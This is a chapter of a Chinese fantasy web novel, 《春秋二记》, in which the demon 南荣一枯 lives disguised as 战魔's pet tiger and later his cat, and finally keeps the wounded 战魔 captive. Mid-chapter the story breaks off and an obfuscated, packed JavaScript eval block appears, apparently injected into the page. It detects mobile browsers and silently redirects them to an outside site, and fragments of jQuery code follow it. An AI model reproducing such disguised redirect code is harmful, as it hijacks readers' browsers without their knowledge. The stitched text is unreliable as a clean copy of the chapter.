23.荣枯

作品:《春秋二记

    皇宫一空,各项要紧事务也有着落,盛稷尚书、中书、秘书三台上禀的事不过尔尔,玄鸟乌衣便算是空闲下来。


    只拟作小玄鸟,在玉阙金楼、花枝繁丽间悠闲自得。


    而在战魔的十八槐春秋世中,薄二哥—薄仪棣,就完全不是这么轻松了,依旧牵马走在千山万水间,寻觅战魔的踪影。


    前文提到,战魔这只刺猬短发的暗虚,并没有考得世主资格证书,因此春秋世中空无一人。


    事情妙就妙在这空无一人上,薄二哥连个能问的路人甲乙丙都没有。


    而战魔又是个处处寻找生活乐趣的人,即便一个人在家,也要过得有滋有味、有声有色。


    于是在他的奇思妙想下,十八槐里处处奇山异水,华鸟丽兽,绚丽多姿。


    ——就是没人。


    因为十八槐世间广大,找个战魔更是有如大海捞针。


    如果不是春秋尊上再三确认,战魔确实还在十八槐世中,薄仪棣会选择去世外寻找。


    无法,驻马在长松山岫的薄二哥,远望霭润烟云,开始想自己的思路是不是错了。


    ——以前他是觉得,既然春秋尊上判断战魔生命体征没有任何问题,那么大概是不知喝了何地出产的好酒,在十八槐一醉不醒了。所以找到他只是时间问题。


    ——而现在玄寂之战后,薄二哥又找了一个月,却依旧找不到蛛丝马迹。


    ——战魔是不是出事了?


    ——是因为有“虫子”吗?


    ——“虫子”…把他藏了起来?


    薄仪棣:……


    所谓“战氏”,既然冠以此姓氏,那便是说明,战魔在暗虚中的战力绝对非同凡响。


    而且战魔本性好战,战风也凶狠。


    其战力之强,春秋尊上甚至不令他与战江枫、战净等兄弟的名字风格类似,直接赐名“战魔”。


    ——这是一般的“虫子”吗?


    ——还是【无】?


    薄二哥提马下山,边走边思索。


    会是【无】吗?薄仪棣仰头,看看澄净明爽的天空,并不曾出现花枝天裂。而走过一遍的十八槐世间,地面上也不曾出现巨大沟壑。


    战魔的实力在这,如果有能控制他的【无】出现,必然会造成十八槐天地间的巨大伤痕。


    既然都没有,那便不是【无】了。


    如果是“虫子”,事情就会变得简单。妖魔们在暗虚的春秋世不敢横行无忌,只会躲在地下。


    他寻找的一个月里,也记得有几处槐溪柿涧的小山洞,不过都是风景秀丽,是战魔自住的地方,而且全未通入地下。


    ……薄仪棣觉得,此事不可以常理推之。


    因为这只妖魔,其实力之强,应该已经完全视平常妖魔的安全生活规则为无物了。


    或许一直生活在地上。薄仪棣抬头,四处观望——或许,这只隐藏踪迹的大妖,就在什么地方,静静地看着此处呢。


    虽则仪棣推测得大差不差,但南荣一枯并没有看这只暗虚。


    他在十八槐西南的老鸦柿子涧里,一边吃脆柿,一边翻书看。过得十分惬意自在。


    南荣一枯是个追求生活质量的,且十分有头脑的妖魔。


    对流浪在碎琼和春秋世间的小妖魔而言,找到一处可以安身之地,便会万分珍惜。


    但南荣一枯完全不是。他存在养鱼心态。


    放在盛稷,叫做“狡兔三窟”。放在他身上,他可以振振有词道:“我只是房产分布相对分散。”


    鉴于他经常悄无声息地游窜于各个“房产”之间,随四季风景迁徙而居,他甚至在心中,为各处可游可居之所,分出等次、打出评分。


    而战魔这处十八槐,南荣一枯给出相当高的评价:“没人,漂亮,安静,食物丰盛。”


    战魔就在完全不知情的状态下,成了他心目中的金牌管家。


    于是他不时前来休闲度假。拟作蓝虎一只,混在十八槐的鸟兽群中,甚至有时心情好,还会让战魔挼一挼、乐一乐、靠一靠。


    ——是的。南荣一枯之所以能在各处房产中光明正大地生活,纯属因为他能毫无心理芥蒂地装做宠物。


    做得心安理得,内心平等,不以为耻,也不以为荣。


    不管是四脚朝天翻肚皮,还是做个毛皮躺椅暖绒绒,还是被当成猫训逮耗子…


    南荣一枯都真正达到了宠辱不惊的至高心态。


    也因此演技达到了炉火纯青的地步。


    非常完美。


    反正他的各个管家都一直没有发现。


    战魔更不可能了。因为战魔生性好勇斗狠,杀气太甚,十八槐的鸟兽们避之不及,唯有这只蓝虎…


    只能说,当时南荣一枯正陶醉在宽阔青绿长芦的碧野水溪间,蹲着猫步一动不动地欣赏。


    醉到深处,小黄蝶也绕着一晃一摇的尾巴飞来飞去。


    完全没注意战魔已经悄悄回十八槐了。


    战魔也起了玩心,看到这只不跑的大猫,心里一乐。悄眯眯地猫下腰,借着下风口和长草的掩盖,从蓝虎的后面摸过去了。


    而后以迅雷不及掩耳之势一扑,成功捕获一只宠物!


    南荣一枯目瞪虎呆,战魔已经开心地大笑起来,抱着大猫打起滚来。


    南荣一枯毕竟是见过大风大浪的大妖魔,也就非常淡定地接受现实。


    于是负伤休养的战魔可有的玩了,开始训练蓝虎爬树摘柿子,下水摸草鱼。


    而后战魔惊喜地发现,蓝虎聪明非常,甚至早上会叼葫芦瓢盛米,去喂山鸡。然后成功诱捕两只,咬回来让回家养伤的战魔炖枸杞红枣汤。


    战魔热泪盈眶,抱紧毛绒绒的大猫道:“开心果,你真是我的开心果。”


    ——前头说了,南荣一枯是个心如止水、心境冷寂的大妖魔,从不以物喜、不以己悲,所以对“开心果”的名字,他也淡定地接受了。


    而且主动承担起做宠物和房东的责任,开始照顾金牌管家。


    具体服务内容包括:


    表演业务——叼着香蒲棒,逗自己玩;


    做饭业务——主要是捕猎,哪有宠物自己起灶生火的;


    洗衣业务——叼着洗衣桶去水边,威胁果子山的猴子们用皂角之类的洗干净,再挂起来晾干;


    暖气业务——战魔的冬天,从此有了温暖的抱枕。


    如此这般,开心果成功获得战魔欢心。


    春天来临,战魔将再次离家出征,抱着开心果就EMO:“…可惜你在我的梦世中,你又是个老虎,连40年都活不到…”


    这般说着,埋在了南荣一枯的毛里洒了热泪。


    南荣一枯淡定地装傻。表示完全听不懂金牌管家的话。做宠物嘛,讲究蠢萌。


    战魔哭够了,在蓝虎皮毛上蹭干眼泪,信誓旦旦道:“你放心,开心果。我一定好好作战,战功全给你!给你续命!”


    南荣一枯完全不觉得这是值得高兴的事。怎么着,让他当宠物当上瘾了?他只是不幸落网,当然不可能一辈子做宠物!


    于是南荣一枯在甩尾巴送金牌管家远行后,便开始规划自己的“假死”。


    毕竟他是专业演员,剧本数次仔细推敲,确保毫无逻辑漏洞。经过数次排练,确保被埋了也能及时扒拉地道逃生,不至于真被活埋。


    而后,南荣一枯翘首以盼战魔回家,表演完就跑路。


    但——很不幸,战魔一身是血地横着回来了。


    南荣一枯:……这还怎么表演。


    送战魔回来的两个暗虚是他朋友,看到闻到血味出现在柿子涧山头,跑下山来,凑来战魔身边嗅嗅的难过蓝虎。都感叹道:“是了,这肯定是他提的宠物——开心果。”


    南荣一枯多日不曾听到这个名字,乍然听到,没忍住一yue——


    舒蝶祈感慨地拍拍蓝虎,道:“我还当战魔是在吹牛,没想到真这么有感情啊,竟然悲痛到吐了。没事咪咪,你主人还活着呢。”


    南荣一枯又yue了。


    终风:“……”


    终风客观道:“应该是想吐毛球吧。”


    然后蓝虎就被迫吃了一盆猫草——谁知道为什么战魔会在十八槐里长出一山的猫草啊!?


    南荣一枯只能在深夜拔毛,团成俩球,摆在爪子间,做一个生无可恋的实力派演员。


    总之,终风和舒蝶祈留住柿子涧的二十天,让南荣一枯对十八槐的住宿评价,直接从金牌换成差评。


    然后更加积极谋划假死大业。在痛苦地啃猫草拌猫粮生涯中,南荣一枯终于悟了——


    死亡,可以是默默的。可以是不见人的。


    谁说一定要在人前表演的!


    于是,再次照顾好战魔,送他离开十八槐的春风原后,南荣一枯直接销声匿迹了。


    秉承专业素养,南荣一枯临走前还交代果子山的猴子:“记得,就说我死了。”


    猴子:“咋死的,吱吱?”


    南荣一枯:“捉蝴蝶玩时,不慎摔下悬崖了。”


    猴子敲坚果:“吱吱,去悬崖底下找你咋整?”


    南荣一枯摸摸虎须:“就是被狼吃了。”


    猴子摔了坚果:“吱吱!你要害死大灰!”


    南荣一枯:“那你说怎么办!”


    猴子抓耳挠腮一会:“吱吱,我们把你火葬了。”


    南荣一枯觉得可行。计划迅速实施。结果非常顺利。


    就这样,南荣一枯去了下一个金牌休闲客栈。吸取成功经验,摒弃错误教训,最终又混得风生水起。


    ——如果不是战魔应邀来做客的话。


    战魔怔怔看了吃鱼的蓝猫一会,转头对岁温声道:“这猫,你借我玩两天行吗?”


    岁道:“正好我家有三只猫,唯有这只好吃懒做。你可以写个聘猫诗、买两条鱼,我们走个过场,这猫我就送给你了。”


    战魔欢欣雀跃。


    南荣一枯槽多无口,怎么!懒惰还有错吗?!这是吸取上次血淋淋的教训啊!


    然而后悔已经晚了。


    岁的府中,烛火映窗,直至深夜。南荣一枯知道战魔文化课不好,不然早成春秋世主了。所以写诗,实在有些为难他。


    南荣一枯叹了口喵气。


    战魔推开窗,与他四目相对,看到仿若开心果再世的蓝澈眼眸,泪花就蹦了出来。


    南荣一枯:……不至于吧…


    南荣一枯无可奈何,跳进窗去,趴在战魔手边。看他终于咬断笔杆、苦思冥想到趴在案上睡着了。


    而后悄悄趴在他耳边,吹一口轻柔的梦进去。


    第二天一早,战魔带着梦里所得的聘猫诗和早市买的芦花鱼,来找岁提猫。


    岁:“…诗你写的?”


    战魔抱臂,笑道:“嗯啊。”


    岁道:“出息了。写得不错,可以放在我的《聘猫诗集锦》里。”


    然后便提了窗框上摸胡须的小兰花后脖颈,装在背篓里,送给开心的战魔。


    还欲言又止地叮嘱道:“…照顾好…”


    战魔哈哈笑:“你放心!我一定会照顾好小兰花!”


    要是八年前,南荣一枯早为这娇柔的名字yue了。但经历过八年的磨练,他淡定的心境更上一层楼。于是南荣一枯只是甜甜地“miao~”了一声。


    岁摆手让他俩滚蛋。


    于是南荣一枯又回到了十八槐。


    世事轮回。


    心情复杂。


    战魔先带他去看望开心果,在青草土包前祭拜上开心果爱吃的开心果,温声道:“开心果,我带小兰花来看你了。”


    “开心果…”战魔又哭了,铁骨铮铮地滚泪,“小兰花真得好像你啊!开心果…”


    南荣一枯:……


    南荣一枯叹一口喵气。只能认命,无精打采地啃盘子里的猫草和猫粮。


    但偶尔吃一顿也就算了,战魔到底跟谁买的养猫手册,开始搞精细化养殖,日子真没法过了。


    但南荣一枯很清楚,不能再死遁了。


    于是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14466263|154016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他另辟蹊径,跟果子山的猴子在槐树土坡下密谋:“我要成精了。”


    猴子:“吱吱,你脑袋秀逗了!?这是暗虚的地盘!”


    南荣一枯很有把握:“我有万全把握——就他那开心果大的脑壳,我们能藏这么久,不是很能说明问题吗?”


    猴子坚决摇头:“你自己作死吧!老子不陪你玩了!”


    “那你就继续砸一辈子坚果罢。”南荣一枯甩尾巴离开,还弹了颗核桃给猴子,“我要做人了!”


    猴子冷笑抱臂,吱吱嘲笑:“小心我这次真火化了你!”


    “连他一起!你当别的暗虚脑子也是核桃?!”


    南荣一枯:“……”


    南荣一枯觉得自己脑子冷静了。但是——“我也不能一直吃草啊!”


    猴子gie~gie~地爆笑了。


    南荣一枯无奈至极地看猴子。


    战魔来找猫回家吃晚饭,见到此情此景,和地上的核桃,脸色刷一下黑了:“猴子欺负你了?”


    南荣一枯:“……”


    南荣一枯摇头。


    战魔叹气,俯身抱起猫猫:“你跟它一样善良,一样温顺……”


    猴子:???大哥,你脑子别真是核桃大吧!


    南荣一枯无语凝噎,感动不已:原来我在外人眼里是这种形象啊…


    猴子拼命摇头,坚决否认。


    战魔却非常不客气:“今年果子山的桃子,产量减半!看你还欺负小兰花!”


    猴子直接笑疯了。吊枝翻花地跑远去了,那gie~gie~的笑声还在魔音贯耳。


    南荣一枯了无生趣。


    觉得无论如何,要把“成精计划”以合理、合法的方式,提上案头。


    于是他开始周密地预演,比如开始晒月亮、深呼吸,表达自己在吸取日月精华。


    然后就被战魔打了一顿。战魔大怒:“你跟谁学坏了!敢成精试试!”


    南荣一枯槽多无口啊。果子山的猴子又在gie~gie~地笑。


    南荣一枯也快被逼急了,心道要不直接亮出真像算了!难道还能一辈子当宠物么!!


    不做人了?!


    就在南荣一枯的忍耐快到极限的时候,战魔总算接到调令,出征了。


    南荣一枯大大地松一口气。压抑住欢天喜地的愉悦,依依不舍地送战魔离开。


    上一刻战魔踏出春秋世,下一刻他就飞速跑回柿子涧和谨慎的猴子烧烤开趴。


    为了表达兄弟情义,他还特意给猴子烤洒白糖的桃子、苹果等果子。


    猴子也很讲义气,拖出多年酿造的青梅果酒,一人一吗喽一块痛快。


    就是度数有点大。八杯之后,南荣一枯直觉天旋地转。


    一觉醒来,战魔背对他,坐在柿子涧水边。


    南荣一枯方知是被猴子卖了。


    天色已黑,倒也不影响他的视觉。战魔佝偻的身影,直接刻在他眼里。


    南荣一枯沉默了。


    战魔哑声道:“你醒了。”


    南荣一枯:“......”南荣一枯化作开心果,走到战魔身边,讨好地用毛绒绒的大脑袋蹭蹭。


    战魔直接推开他:“滚!”


    南荣一枯这还以为是战魔只是在生气,压根没有往深里想,还想表演几个节目逗战魔开心来着。战魔却是直接起身,神色已然凝重:“我暗虚一族,你杀了多少,你心里清楚。”


    南荣一枯:“......”这是事实。无可辩驳。


    “所以,你要么滚。”战魔掣出长刀,冷冽道,“要么今日之战,你死我活。”


    南荣一枯叹了口气。觉得这只年轻暗虚被捧得太高,浑然不知天高地厚了。于是抛开大惊失色前来拉架的猴子,直接真刀实枪地打一场。


    战魔输得一败涂地,拄刀扑在地上吐血


    南荣一枯衣裳都没沾上灰。果子山的猴子浑身颤抖。南荣一枯叹了口气,温声道:“不是你的错。我知道你是好意。我和你,都低估了这个暗虚对妖魔的恨意。”


    而后提起奄奄一息的恚怒战魔:“别敬酒不吃吃罚酒。”


    “猴子。过来。”


    果子山的猴子立刻化身狗腿小弟,南荣一枯安排道:“找根藤,绑起来。去做晚饭。”


    就这样,从此战魔沦为失踪人口,薄二哥只能继续翻天覆地地找兄弟。


    柿子涧中,南荣一枯悠闲到日暮时刻,闻到猴子做的晚饭香味,以及熬好的草药汤味。于是便收书起身,先去端了药碗,施施然地回到藏匿战魔的山洞里,看看打满石膏、绑在厚软床榻上的战魔,温声道:“先喝药。”


    战魔撇开头去。


    南荣一枯无奈地坐在床侧:“一天天地犟什么。”


    战魔皱紧眉头,只能被勺子撬开唇齿,咽下药去。半晌,没好气道:“我一个多月没去应卯了,王尊快查到这里来了。”


    南荣一枯嗯了一声:“等你伤好,我就带猴子走了。”


    战魔:“......”


    战魔道:“赶紧滚。”


    南荣一枯搅拌下碗里的草药渣,最终道:“放心。我不会死的。”


    战魔嗤之以鼻:“谁在乎!”


    南荣一枯笑了,温声道:“你很在乎。”


    战魔咬紧牙,眸子里又开始泛上泪水。为什么他就这么倒霉,一开始只是想养个宠物而已,反倒招惹上...


    十八槐的世间已经到秋天了,红彤彤的柿子为暖阳烘成甜软的蜜糖。战魔实在觉得,他真不像妖魔,哪有妖魔脾气又好,又爱吃这么甜美的红柿子的。然而他确实是个妖魔,还是与暗虚血海深仇的妖魔。


    “...你放肆。”战魔轻声斥道。


    南荣一枯微微一笑:“再放肆也放肆不了几天了。索性放肆到底吧。”


    萧疏的秋夜寒风中,果子山的猴子慢慢地啃桃子,不由得去想——离开这处避风的柿子涧,下一次找到安身之处,又会是何时何地呢?仰望繁星时,刻骨的悲凉充盈夜色温柔。